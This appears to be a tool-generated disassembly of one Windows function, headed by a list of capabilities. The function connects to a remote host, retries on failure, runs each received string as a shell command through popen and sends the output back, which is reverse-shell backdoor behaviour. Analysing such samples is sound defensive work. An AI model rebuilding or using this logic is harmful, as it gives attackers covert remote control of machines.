Function at 0x4014a5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, 0x10284
call fcn.00402498
sub esp, eax
lea eax, [ebp - 0x1a8]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401747
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x1bc]
cmp eax, 0xffffffff
jne 0x401515
call sym._WSACleanup_0
jmp 0x401748
mov word [ebp - 0x1b8], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1b6], ax
mov ecx, dword [ebp + 8]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x1bc]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x1b8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4015a0
mov eax, dword [ebp - 0x1bc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
mov dword [esp], 0x2710
call sym._Sleep_4
sub esp, 4
jmp 0x4014db
mov eax, dword [ebp - 0x1bc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xfffe
lea edx, [ebp - 0x101eb]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x4016cd
lea edx, [ebp - 0x101eb]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], 0
lea eax, [ebp - 0x15]
mov ecx, eax
call fcn.004018dc
lea eax, [ebp - 0x1d4]
lea edx, [ebp - 0x15]
mov dword [esp + 4], edx
lea edx, [ebp - 0x101eb]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x15]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x1ec]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x1d4]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 4], 0x406065
mov dword [esp], eax
call sym.__popen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401699
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x1026b]
mov dword [esp], eax
call sym._fgets
test eax, eax
setne al
test al, al
je 0x40168e
lea eax, [ebp - 0x1ec]
lea edx, [ebp - 0x1026b]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
sub esp, 4
jmp 0x40164d
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.__pclose
lea eax, [ebp - 0x1ec]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1bc]
mov dword [esp], eax
call sym.sendData_unsigned_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x1ec]
mov ecx, eax
call fcn.004018bc
lea eax, [ebp - 0x1d4]
mov ecx, eax
call fcn.004018bc
jmp 0x4016f7
cmp dword [ebp - 0x10], 0
nop
mov eax, dword [ebp - 0x1bc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
mov dword [esp], 0x7d0
call sym._Sleep_4
sub esp, 4
jmp 0x4014db
mov dword [esp], 0xbb8
call sym._Sleep_4
sub esp, 4
jmp 0x4015a0
nop
mov ebx, dword [ebp - 4]
leave
ret